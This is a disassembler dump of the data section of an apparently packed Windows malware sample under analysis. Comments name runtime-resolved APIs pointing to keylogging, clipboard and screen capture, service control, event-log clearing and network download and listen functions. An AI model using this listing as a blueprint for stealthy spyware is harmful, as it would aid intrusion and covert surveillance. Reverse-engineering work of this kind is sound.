dword_4CDB28 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_409A1D+880r ...
dword_4CDB2C dd 0 ; sub_409A1D+A43r ...
dword_4CDB30 dd 0 ; sub_409A1D+A13r ...
dword_4CDB34 dd 0 ; resolved to->GDI32.SelectObject ; sub_409A1D+4DBr ...
dword_4CDB38 dd 0 ; resolved to->USER32.GetKeyState ; sub_409A1D+234r ...
dword_4CDB3C dd 0 ; sub_409A1D+A3Br ...
dword_4CDB40 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_409A1D+3C7r ...
dword_4CDB44 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41B1FC+11Er
dword_4CDB48 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_409A1D+3CFr ...
dword_4CDB4C dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_41946F+ADr
dword_4CDB50 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40F956+115r ...
dword_4CDB54 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_409A1D+D2r ...
dword_4CDB58 dd 0 ; sub_409A1D+A06r ...
dword_4CDB5C dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_409A1D+3E7r ...
dword_4CDB60 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_409A1D+8ACr ...
dword_4CDB64 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_409A1D+2F0r ...
dword_4CDB68 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_409A1D+8A4r ...
dword_4CDB6C dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4CDB70 dd 0 ; resolved to->WININET.InternetReadFile ; sub_409A1D+8B4r ...
dword_4CDB74 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_409A1D+6D0r ...
dword_4CDB78 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_409A1D+CAr ...
dword_4CDB7C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_4138B0+11Ar
dword_4CDB80 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_409A1D+A95w ...
dword_4CDB84 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_409A1D+F2r
dword_4CDB88 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_409A1D+4D3r ...
dword_4CDB8C dd 0 ; resolved to->WS2_32.ntohl ; sub_40BE29+20r ...
dword_4CDB90 dd 0 ; sub_409A1D+A33r
dword_4CDB94 dd 0 ; resolved to->WS2_32.ntohs ; sub_409A1D+754r ...
dword_4CDB98 dd 0 ; sub_40B1CF+16o ...
dword_4CDB9C dd 0 ; sub_40B182+3Do
dword_4CDBA0 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_409A1D+7FEw ...
dword_4CDBA4 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_418A12+15r
dword_4CDBA8 dd 0 ; sub_409A1D+A1Br ...
dword_4CDBAC dd 0 ; resolved to->ADVAPI32.ControlService ; sub_409A1D+3D7r ...
dword_4CDBB0 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_409A1D+3DFr ...
dword_4CDBB4 dd 0 ; sub_409A1D+C8Cr ...
dword_4CDBB8 dd 0 ; resolved to->WS2_32.getpeername ; sub_410E59+D0r
dword_4CDBBC dd 0 ; resolved to->WS2_32.WSACleanup ; sub_401132+23r ...
dword_4CDBC0 dd 0 ; resolved to->GDI32.DeleteObject ; sub_4159B5+207r
dword_4CDBC4 dd 0 ; sub_409A1D+A4Br ...
dword_4CDBC8 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_409A1D+2B2w ...
dword_4CDBCC dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_409A1D+DAr ...
dword_4CDBD0 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_401B66+78B6r ...
dword_4CDBD4 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_401B66+503Br ...
dword_4CDBD8 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_409A1D+890r ...
dword_4CDBDC dd 0 ; sub_409A1D+A23r
dword_4CDBE0 dd 0 ; sub_409A1D+C3Fr
dword_4CDBE4 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_418BBC+47r
dword_4CDBE8 dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_41234A+40r ...
dword_4CDBEC dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409A1D+92Er ...
dword_4CDBF0 dd 0 dword_4CDBF4 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_418BBC+4Fr
dword_4CDBF8 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_409A1D+6E8r ...
dword_4CDBFC dd 0 ; resolved to->WININET.InternetOpenA ; sub_409A1D+873r
dword_4CDC00 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_409A1D+23Cr ...
dword_4CDC04 dd 0 ; resolved to->USER32.IsWindow ; sub_409A1D+1C2r ...
dword_4CDC08 dd 0 ; resolved to->WS2_32.getsockname ; sub_401B66+59F3r ...
dword_4CDC0C dd 0 ; resolved to->WS2_32.connect ; sub_401B66+50C5r ...
dword_4CDC10 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_409A1D+6DCr ...
dword_4CDC14 dd 0 ; sub_409A1D:loc_40A316w ...
dword_4CDC18 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_409A1D+28Bw ...
dword_4CDC1C dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_409A1D+69Fw ...
dword_4CDC20 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_409A1D+341r ...
dword_4CDC24 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_409A1D+3EFr ...
dword_4CDC28 dd 0 ; sub_409A1D+C37r
dword_4CDC2C dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_409A1D+888r ...
dword_4CDC30 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_409A1D+227r ...
dword_4CDC34 dd 0 ; resolved to->USER32.OpenClipboard ; sub_409A1D+1D2r ...
dword_4CDC38 dd 0 ; resolved to->WININET.InternetConnectA ; sub_409A1D+898r ...
dword_4CDC3C dd 0 ; resolved to->WSOCK32.recvfrom ; sub_409A1D+774r ...
dword_4CDC40 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409A1D+2BFw ...
dword_4CDC44 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_409A1D+79Cr ...
dword_4CDC48 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_409A1D+334r ...
dword_4CDC4C dd 0 ; resolved to->WS2_32.select ; sub_409A1D+784r ...
dword_4CDC50 dd 0 ; resolved to->GDI32.CreateDCA ; sub_409A1D+4AEr ...
dword_4CDC54 dd 0 ; resolved to->USER32.GetClipboardData ; sub_409A1D+1DAr ...
dword_4CDC58 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_409A1D+3BAr ...
dword_4CDC5C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4CDC60 dd 0 ; resolved to->WS2_32.ntohl ; sub_409A1D+748r ...
dword_4CDC64 dd 0 ; resolved to->WS2_32.ntohs ; sub_401B66+5077r ...
dword_4CDC68 dd 0 ; resolved to->KERNEL32.Process32First ; sub_409A1D+C2r ...
dword_4CDC6C dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_409A1D+4CBr ...
dword_4CDC70 dd 0 ; resolved to->USER32.FindWindowA ; sub_409A1D+1BAr ...
dword_4CDC74 dd 0 ; sub_409A1D+A5Br ...
dword_4CDC78 dd 0 ; resolved to->WS2_32.gethostname ; sub_409A1D+7ACr ...
dword_4CDC7C dd 0 ; resolved to->WSOCK32.recv ; sub_401B66+50DAr ...
dword_4CDC80 dd 0 ; sub_409A1D+C47r
dword_4CDC84 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_409A1D+BAr ...
dword_4CDC88 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_409A1D+298w ...
dword_4CDC8C dd 0 ; resolved to->WS2_32.listen ; sub_409A1D+78Cr ...
dword_4CDC90 dd 0 ; resolved to->WS2_32.bind ; sub_409A1D+77Cr ...
dword_4CDC94 dd 0 ; sub_409A1D+C92w
dword_4CDC98 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_416975+4C9r ...
dword_4CDC9C dd 0 dword_4CDCA0 dd 0 ; sub_409A1D+C22r
dword_4CDCA4 dd 0 ; resolved to->WS2_32.inet_addr ; sub_401B66+5EBCr ...
dword_4CDCA8 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_409A1D+4BBr ...
dword_4CDCAC dd 0 ; resolved to->GDI32.BitBlt ; sub_409A1D+4E3r ...
dword_4CDCB0 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_409A1D+4C3r ...
dword_4CDCB4 dd 0 ; resolved to->WS2_32.send ; sub_401B66+50F7r ...
dword_4CDCB8 dd 0 ; resolved to->USER32.CloseClipboard ; sub_409A1D+1E2r ...
dword_4CDCBC dd 0 ; sub_409A1D+A53r ...
dword_4CDCC0 dd 0 ; resolved to->USER32.SendMessageA ; sub_409A1D+1ADr ...
dword_4CDCC4 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_409A1D+E2r ...
dword_4CDCC8 dd 0 ; resolved to->WS2_32.sendto ; sub_409A1D+764r ...
dword_4CDCCC dd 0 ; sub_409A1D+B5Fr
dword_4CDCD0 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_419E0C+55r
dword_4CDCD4 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_409A1D+2D3r ...
dword_4CDCD8 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_4CDCDC dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40AA3C+8Fr
dword_4CDCE0 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_409A1D+AE6r ...
dword_4CDCE4 dd 0 ; resolved to->WS2_32.socket ; sub_401B66+5056r ...
dword_4CDCE8 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_401B66+785Cr ...
dword_4CDCEC dd 0 ; sub_409A1D+C2Fr
dword_4CDCF0 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_401B66+5A19r ...
dword_4CDCF4 dd 0 ; sub_409A1D+A2Br ...
dword_4CDCF8 dd 0 ; resolved to->WS2_32.accept ; sub_409A1D+794r ...
dword_4CDCFC dd 0 ; resolved to->WS2_32.closesocket ; sub_401891+D0r ...
dword_4CDD00 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_409A1D+70Cr ...
dword_4CDD04 dd 0 ; sub_409A1D+B57r
dword_4CDD08 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_409A1D+6C4r ...
dword_4CDD0C dd 0 ; sub_409A1D+B4Ar ...
dword_4CDD10 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_409A1D+31w ...
dword_4CDD14 dd 0 ; resolved to->USER32.DestroyWindow ; sub_409A1D+1CAr ...
dword_4CDD18 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409A1D+93Br ...
dword_4CDD1C dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_409A1D+EAr ...
dword_4CDD20 dd 0 ; sub_409A1D+12Bw ...
dword_4CDD24 dd 0 ; sub_40A6D9+1Cr
dword_4CDD28 dd 0 ; sub_409A1D:loc_409C72w ...
dword_4CDD2C dd 0 ; sub_40A6D9+50r
dword_4CDD30 dd 0 ; sub_401B66+4436r ...
dword_4CDD34 dd 0 ; sub_40A6D9+84r
dword_4CDD38 dd 0 ; sub_40A6D9:loc_40A789r
dword_4CDD3C dd 0 ; sub_40A6D9+B8r
dword_4CDD40 dd 0 ; sub_40A6D9:loc_40A7BDr
dword_4CDD44 dd 0 ; sub_40A6D9+ECr
dword_4CDD48 dd 0 ; sub_409A1D:loc_40A2DDw ...
dword_4CDD4C dd 0 ; sub_40A6D9+120r
dword_4CDD50 dd 0 ; sub_409A1D:loc_40A371w ...
dword_4CDD54 dd 0 ; sub_40A6D9+154r
dword_4CDD58 dd 0 ; sub_409A1D:loc_40A48Dw ...
dword_4CDD5C dd 0 ; sub_40A6D9+188r
dword_4CDD60 dd 0 ; sub_40A6D9:loc_40A88Dr
dword_4CDD64 dd 0 ; sub_40A6D9+1BCr
dword_4CDD68 dd 0 ; sub_40A6D9:loc_40A8C1r
dword_4CDD6C dd 0 ; sub_40A6D9+1F0r
dword_4CDD70 dd 0 ; sub_40A6D9:loc_40A8F5r
dword_4CDD74 dd 0 ; sub_40A6D9+224r
dword_4CDD78 dd 0 ; sub_40A6D9:loc_40A929r
dword_4CDD7C dd 0 ; sub_40A6D9+258r
dword_4CDD80 dd 0 ; sub_40A6D9:loc_40A95Dr
dword_4CDD84 dd 0 ; sub_40A6D9+28Cr
dword_4CDD88 dd 0 ; sub_40A6D9:loc_40A991r
dword_4CDD8C dd 0 ; sub_40A6D9+2C0r
dword_4CDD90 dd 6 dup(0) dword_4CDDA8 dd 0 ; sub_40BE71+92w ...
dword_4CDDAC dd 0 ; sub_40C1BE+D9w ...
dd 7FEh dup(0)
dword_4CFDA8 dd 6 dup(0) ; sub_40BFAA+129o ...
dword_4CFDC0 dd 0 ; sub_40B945+34Do
dword_4CFDC4 dd 0 ; sub_40B945+35Fr
dword_4CFDC8 dd 0 dword_4CFDCC dd 0 ; sub_40B945+320r
dword_4CFDD0 dd 20h dup(0) ; sub_40B945+307o
dword_4CFE50 dd 0 dword_4CFE54 dd 0 ; sub_40B945+311w
dword_4CFE58 dd 0 align 10h
dword_4CFE60 dd 0 ; sub_40B945+FEo
dword_4CFE64 dd 41h dup(0) dword_4CFF68 dd 41h dup(0) dword_4D006C dd 0 ; sub_40B945+110r
dword_4D0070 dd 0 dword_4D0074 dd 0 ; sub_40B945+D1r
dword_4D0078 dd 20h dup(0) ; sub_40B945+B7o
dword_4D00F8 dd 0 dword_4D00FC dd 0 ; sub_40B945+C1w
dword_4D0100 dd 0 align 8
dword_4D0108 dd 0 ; sub_40B945+226o
dword_4D010C dd 41h dup(0) dword_4D0210 dd 41h dup(0) dword_4D0314 dd 0 ; sub_40B945+238r
dword_4D0318 dd 0 dword_4D031C dd 0 ; sub_40B945+1F9r
dword_4D0320 dd 20h dup(0) ; sub_40B945+1DFo
dword_4D03A0 dd 0 dword_4D03A4 dd 0 ; sub_40B945+1E9w
dword_4D03A8 dd 0 align 10h
dword_4D03B0 dd 0 ; sub_40B945+467o
dword_4D03B4 dd 0A2h dup(0) dword_4D063C dd 41h dup(0) dword_4D0740 dd 0 ; sub_40B945+41Ar
align 8
dword_4D0748 dd 0 ; sub_40B945+479r
dword_4D074C dd 0 dword_4D0750 dd 0 dword_4D0754 dd 0 dd 0
dword_4D075C dd 0 dword_4D0760 dd 0 ; sub_40B597+31r ...
dword_4D0764 dd 0 ; sub_40B597+25r ...
dword_4D0768 dd 80h dup(0) dword_4D0968 dd 2 dup(0) dword_4D0970 dd 0 ; sub_40D86F+2D9o
dword_4D0974 dd 3 dup(0) ; sub_40E453+EAo ...
byte_4D0980 db 0 ; DATA XREF: .packed:0040EBD5o
; .packed:0040EC1Ar
align 4
dd 3Fh dup(0)
dword_4D0A80 dd 2 dup(0) dword_4D0A88 dd 0 ; sub_40EDB1+BCo ...
dword_4D0A8C dd 0 ; sub_40EDB1+DAr ...
dword_4D0A90 dd 0 ; sub_40EDB1+CFr ...
dword_4D0A94 dd 0 ; sub_40EDB1+95o ...
dword_4D0A98 dd 0 ; sub_40ED66+3Dr ...
dword_4D0A9C dd 0 ; sub_40EF86+10w ...
dword_4D0AA0 dd 0 ; sub_40EF9D+27Cw
dword_4D0AA4 dd 0 ; sub_40F83F+51r ...
dd 0
dword_4D0AAC dd 0 dd 0
dword_4D0AB4 dd 0 ; sub_412995+9o
byte_4D0AB8 db 0 ; DATA XREF: sub_4134C5+1C1w
; sub_4134C5+2C0o
align 2
word_4D0ABA dw 0 ; DATA XREF: sub_4134C5+1D1w
word_4D0ABC dw 0 ; DATA XREF: sub_4134C5+1D7w
word_4D0ABE dw 0 ; DATA XREF: sub_4134C5+1DEw
byte_4D0AC0 db 0 ; DATA XREF: sub_4134C5+1E5w
byte_4D0AC1 db 0 ; DATA XREF: sub_4134C5+1ECw
word_4D0AC2 dw 0 ; DATA XREF: sub_4134C5+1F2w
dword_4D0AC4 dd 0 ; sub_4134C5+23Ew
dword_4D0AC8 dd 0 byte_4D0ACC db 0 ; DATA XREF: sub_4134C5+258w
byte_4D0ACD db 0 ; DATA XREF: sub_4134C5+26Bw
word_4D0ACE dw 0 ; DATA XREF: sub_4134C5+283w
word_4D0AD0 dw 0 ; DATA XREF: sub_4134C5+292w
word_4D0AD2 dw 0 ; DATA XREF: sub_4134C5+28Aw
dword_4D0AD4 dd 101h dup(0) dword_4D0ED8 dd 80h dup(0) ; sub_401B66:loc_404B35o ...
byte_4D10D8 db 0 ; DATA XREF: sub_414D4E+19Fw
; sub_414D4E+278o
align 2
word_4D10DA dw 0 ; DATA XREF: sub_414D4E+1ACw
word_4D10DC dw 0 ; DATA XREF: sub_414D4E+1B6w
word_4D10DE dw 0 ; DATA XREF: sub_414D4E+1BFw
byte_4D10E0 db 0 ; DATA XREF: sub_414D4E+1C6w
byte_4D10E1 db 0 ; DATA XREF: sub_414D4E+1CDw
word_4D10E2 dw 0 ; DATA XREF: sub_414D4E+1D4w
dword_4D10E4 dd 0 dword_4D10E8 dd 0 word_4D10EC dw 0 ; DATA XREF: sub_414D4E+242w
word_4D10EE dw 0 ; DATA XREF: sub_414D4E+22Aw
word_4D10F0 dw 0 ; DATA XREF: sub_414D4E+254w
word_4D10F2 dw 0 ; DATA XREF: sub_414D4E+1F5w
dword_4D10F4 dd 100h dup(0) dword_4D14F4 dd 0 ; sub_401B66+2F18r ...
dd 0
byte_4D14FC db 0 ; DATA XREF: sub_415240+22Ao
; sub_415240+239w ...
byte_4D14FD db 0 ; DATA XREF: sub_415240+24Dw
word_4D14FE dw 0 ; DATA XREF: sub_415240+27Ew
word_4D1500 dw 0 ; DATA XREF: sub_415240+265w
; sub_415240:loc_4155F9w
word_4D1502 dw 0 ; DATA XREF: sub_415240+284w
byte_4D1504 db 0 ; DATA XREF: sub_415240+271w
byte_4D1505 db 0 ; DATA XREF: sub_415240+246w
word_4D1506 dw 0 ; DATA XREF: sub_415240+3D9w
; sub_415240+403w
dword_4D1508 dd 0 ; sub_415240+383r
dword_4D150C dd 0 word_4D1510 dw 0 ; DATA XREF: sub_415240+37Dw
; sub_415240+3CFo
word_4D1512 dw 0 ; DATA XREF: sub_415240+31Ew
; sub_415240+343r ...
dword_4D1514 dd 0 ; sub_415240+3C0w
dword_4D1518 dd 0 ; sub_415240+394w ...
byte_4D151C db 0 ; DATA XREF: sub_415240+2FAr
; sub_415240+308w
byte_4D151D db 0 ; DATA XREF: sub_415240+2C4w
; sub_415240+38Dw ...
word_4D151E dw 0 ; DATA XREF: sub_415240+2D2w
word_4D1520 dw 0 ; DATA XREF: sub_415240+3E0w
; sub_415240+411w
word_4D1522 dw 0 ; DATA XREF: sub_415240+317w
word_4D1524 dw 0 ; DATA XREF: sub_415240+349w
; sub_415240+419o
word_4D1526 dw 0 ; DATA XREF: sub_415240+358w
; sub_415240+3F0w
dword_4D1528 dd 0 dd 2 dup(0)
dword_4D1534 dd 0 ; sub_415240+3FEo
dword_4D1538 dd 0 byte_4D153C db 0 ; DATA XREF: sub_415240+32Aw
byte_4D153D db 0 ; DATA XREF: sub_415240+330w
word_4D153E dw 0 ; DATA XREF: sub_415240+33Dw
dword_4D1540 dd 6 dup(0) dword_4D1558 dd 0 ; sub_415240+422r
align 10h
dword_4D1560 dd 100h dup(0) ; sub_415240+465o
dword_4D1960 dd 9FCh dup(0) ; sub_415845o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .packed:off_43A4F4o
dd 603h dup(0)
dword_4D5960 dd 0 ; sub_415845+Eo ...
dword_4D5964 dd 0Dh dup(0) dword_4D5998 dd 80h dup(0) dword_4D5B98 dd 200h dup(0) ; sub_4177CF+DDo ...
dword_4D6398 dd 200h dup(0) ; sub_4177CF+F4o ...
dword_4D6B98 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_417646+94r
dword_4D6B9C dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_417AA0+55r ...
dword_4D6BA0 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_417646+D6r ...
dword_4D6BA4 dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_417646+35r ...
dword_4D6BA8 dd 80h dup(0) dword_4D6DA8 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_417646+A2r
dword_4D6DAC dd 0 ; sub_417474+103r ...
dword_4D6DB0 dd 0 ; sub_417973+107w
dword_4D6DB4 dd 0 ; sub_417973+10Dw ...
dword_4D6DB8 dd 0 ; sub_417AA0+4Fr
align 10h
dword_4D6DC0 dd 0 ; sub_417E12:loc_417F91w ...
dword_4D6DC4 dd 0 ; sub_417CD6+12o ...
dd 0
dword_4D6DCC dd 0 ; sub_417FB1+3Ar
dd 7Fh dup(0)
dword_4D6FCC dd 0 ; sub_417FB1+4Aw
dd 1944h dup(0)
dword_4DD4E0 dd 0 ; sub_418827+6Ao
dword_4DD4E4 dd 7Fh dup(0) ; sub_417CD6+3Co
dword_4DD6E0 dd 18h dup(0) ; sub_418FBC+131o ...
dword_4DD740 dd 80h dup(0) ; sub_419D4E+A5o
dword_4DD940 dd 0 ; sub_419339+4Dr ...
align 8
dword_4DD948 dd 18h dup(0) ; sub_419C1A+12Do
dword_4DD9A8 dd 80h dup(0) ; sub_41927A+7Do ...
byte_4DDBA8 db 0 ; DATA XREF: sub_419339+29r
; sub_419339+34w
align 10h
dword_4DDBB0 dd 80h dup(0) ; sub_419590+88o ...
dword_4DDDB0 dd 80h dup(0) ; sub_418E93+50o ...
dword_4DDFB0 dd 0 ; sub_41A2BE+54r ...
dword_4DDFB4 dd 0 ; sub_41A2BE+37r ...
dword_4DDFB8 dd 0 ; sub_41A413+83o
dword_4DDFBC dd 0 ; sub_41A413+11Bw
dword_4DDFC0 dd 0Dh dup(0) ; sub_41A413:loc_41A550o
dword_4DDFF4 dd 0 ; sub_41A2BE+ECr ...
dword_4DDFF8 dd 0Dh dup(0) dword_4DE02C dd 0 ; sub_41D9ED:loc_41DA69w ...
dword_4DE030 dd 0 ; sub_41E272:loc_41E30Cw ...
dword_4DE034 dd 0 dword_4DE038 dd 0A28h dword_4DE03C dd 501h dword_4DE040 dd 5 dword_4DE044 dd 1 dword_4DE048 dd 1 ; sub_423867+91w
dword_4DE04C dd 371400h ; sub_401252+30Fr ...
dd 0
dword_4DE054 dd 371428h ; sub_4262F7+9r ...
dword_4DE058 dd 0 dword_4DE05C dd 0 ; sub_4266C5+4r ...
dd 0
off_4DE064 dd offset aCM_unpackerPac ; DATA XREF: sub_423867+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DE06C db 0 ; DATA XREF: sub_41BFA3+2Dw
; sub_422FD0+5r
align 10h
dword_4DE070 dd 0 dword_4DE074 dd 0 ; sub_41BFA3+8Bw
dword_4DE078 dd 0 ; sub_41C8C4+91w
align 10h
dword_4DE080 dd 0 align 8
dword_4DE088 dd 0 ; sub_41D851+A4w
align 10h
word_4DE090 dw 0 ; DATA XREF: sub_41D851+55r
; sub_41D851+9Ao
word_4DE092 dw 0 ; DATA XREF: sub_41D851+48r
db 2 dup(0)
word_4DE096 dw 0 ; DATA XREF: sub_41D851+3Br
word_4DE098 dw 0 ; DATA XREF: sub_41D851+2Er
word_4DE09A dw 0 ; DATA XREF: sub_41D851+21r
align 10h
dword_4DE0A0 dd 0 ; sub_4237AE:loc_4237C0r ...
align 8
dword_4DE0A8 dd 0 dword_4DE0AC dd 0 ; sub_41F429+2Dw ...
dword_4DE0B0 dd 0 dword_4DE0B4 dd 0 ; sub_41B9D2:loc_41BC0Fr ...
dword_4DE0B8 dd 1 ; sub_420842+4w ...
dword_4DE0BC dd 0 dd 0
dword_4DE0C4 dd 0 ; sub_4222DD+1Ar ...
byte_4DE0C8 db 0 ; DATA XREF: sub_4221D9+3r
; sub_4221D9+98r ...
align 4
dword_4DE0CC dd 0 ; sub_4223BB+21w ...
byte_4DE0D0 db 0 ; DATA XREF: sub_4223BB+51w
align 4
dword_4DE0D4 dd 0 ; sub_42298C+3Ar ...
dword_4DE0D8 dd 0 ; sub_42298C+43r ...
dword_4DE0DC dd 0 ; sub_422758+5r
dword_4DE0E0 dd 0 dword_4DE0E4 dd 2 dup(0) dword_4DE0EC dd 0 ; sub_41DDAA+6Er ...
dd 3 dup(0)
dword_4DE0FC dd 0 ; sub_41E034+BFr ...
dd 0
dword_4DE104 dd 0 ; sub_420C46:loc_420C6Fw ...
dword_4DE108 dd 1 ; sub_423383+4Cw ...
dword_4DE10C dd 0 ; sub_4235D2+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_423867:loc_42387Eo
; .packed:off_4DE064o
align 4
dd 3Ah dup(0)
dword_4DE214 dd 1 ; sub_423AB4+23w ...
dword_4DE218 dd 0 dword_4DE21C dd 0 dword_4DE220 dd 1 ; sub_424517:loc_424581w
align 8
word_4DE228 dw 0 ; DATA XREF: sub_424E19+1Ao
; sub_424E19+46r
byte_4DE22A db 0 ; DATA XREF: sub_424E19+39r
align 4
dword_4DE22C dd 7 dup(0) dword_4DE248 dd 0 ; sub_424E19+5Co
dword_4DE24C dd 0 dword_4DE250 dd 0 dword_4DE254 dd 0 dword_4DE258 dd 77C2807Ch ; sub_424F3C+38r ...
align 10h
dword_4DE260 dd 0 ; sub_42501C+63w ...
align 8
dword_4DE268 dd 0 ; sub_42501C+46r
dword_4DE26C dd 10h dup(0) word_4DE2AC dw 0 ; DATA XREF: sub_42527A+A8r
word_4DE2AE dw 0 ; DATA XREF: sub_42501C+54r
; sub_42527A+DBr ...
word_4DE2B0 dw 0 ; DATA XREF: sub_42527A+CAr
word_4DE2B2 dw 0 ; DATA XREF: sub_42527A+D3r
; sub_42527A:loc_42536Cr
word_4DE2B4 dw 0 ; DATA XREF: sub_42527A+C0r
word_4DE2B6 dw 0 ; DATA XREF: sub_42527A+B8r
word_4DE2B8 dw 0 ; DATA XREF: sub_42527A+B0r
word_4DE2BA dw 0 ; DATA XREF: sub_42527A+9Er
dword_4DE2BC dd 0 dword_4DE2C0 dd 10h dup(0) word_4DE300 dw 0 ; DATA XREF: sub_42527A+46r
word_4DE302 dw 0 ; DATA XREF: sub_42501C:loc_425093r
; sub_42527A+78r ...
word_4DE304 dw 0 ; DATA XREF: sub_42527A+67r
word_4DE306 dw 0 ; DATA XREF: sub_42527A+70r
; sub_42527A:loc_4252FEr
word_4DE308 dw 0 ; DATA XREF: sub_42527A+5Dr
word_4DE30A dw 0 ; DATA XREF: sub_42527A+55r
word_4DE30C dw 0 ; DATA XREF: sub_42527A+4Dr
word_4DE30E dw 0 ; DATA XREF: sub_42527A+3Er
dword_4DE310 dd 0 dword_4DE314 dd 0 ; sub_42501C:loc_425168r ...
dword_4DE318 dd 0 dword_4DE31C dd 0 ; resolved to->USER32.MessageBoxA ; sub_4256B1+2Ew ...
dword_4DE320 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_4256B1:loc_425700r
dword_4DE324 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_4256B1+60r
dword_4DE328 dd 0 dword_4DE32C dd 0 ; sub_426185+6Do
dword_4DE330 dd 0 ; sub_426185+44o
dword_4DE334 dd 0 ; sub_426185+37o
dword_4DE338 dd 0 ; sub_426185+51o
align 10h
dword_4DE340 dd 0 ; sub_426733+48w ...
dword_4DE344 dd 0 ; sub_427228+4Cw ...
dword_4DE348 dd 0 ; sub_4274B3:loc_42751Dw
byte_4DE34C db 0 ; DATA XREF: sub_40D6D6r sub_40D6D6+9w ...
align 10h
dd 4 dup(0)
dword_4DE360 dd 370650h ; sub_41F91C+2Ar ...
dword_4DE364 dd 3Fh dup(0) dword_4DE460 dd 20h ; sub_41F91C+Cr ...
dword_4DE464 dd 3727A0h ; sub_41FC9D+14r ...
dd 6 dup(0)
dword_4DE480 dd 400h dup(0) ; .packed:0043F5C0o
dword_4DF480 dd 200h ; sub_41E3F0+56r ...
dword_4DF484 dd 4E4h ; sub_4206A9+65w ...
align 10h
dword_4DF490 dd 3 dup(0) ; sub_4206A9+171o ...
dword_4DF49C dd 0 ; sub_4206A9+15Dw ...
byte_4DF4A0 db 0 ; DATA XREF: sub_4208E8:loc_4209F4w
; sub_4208E8:loc_420A11w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
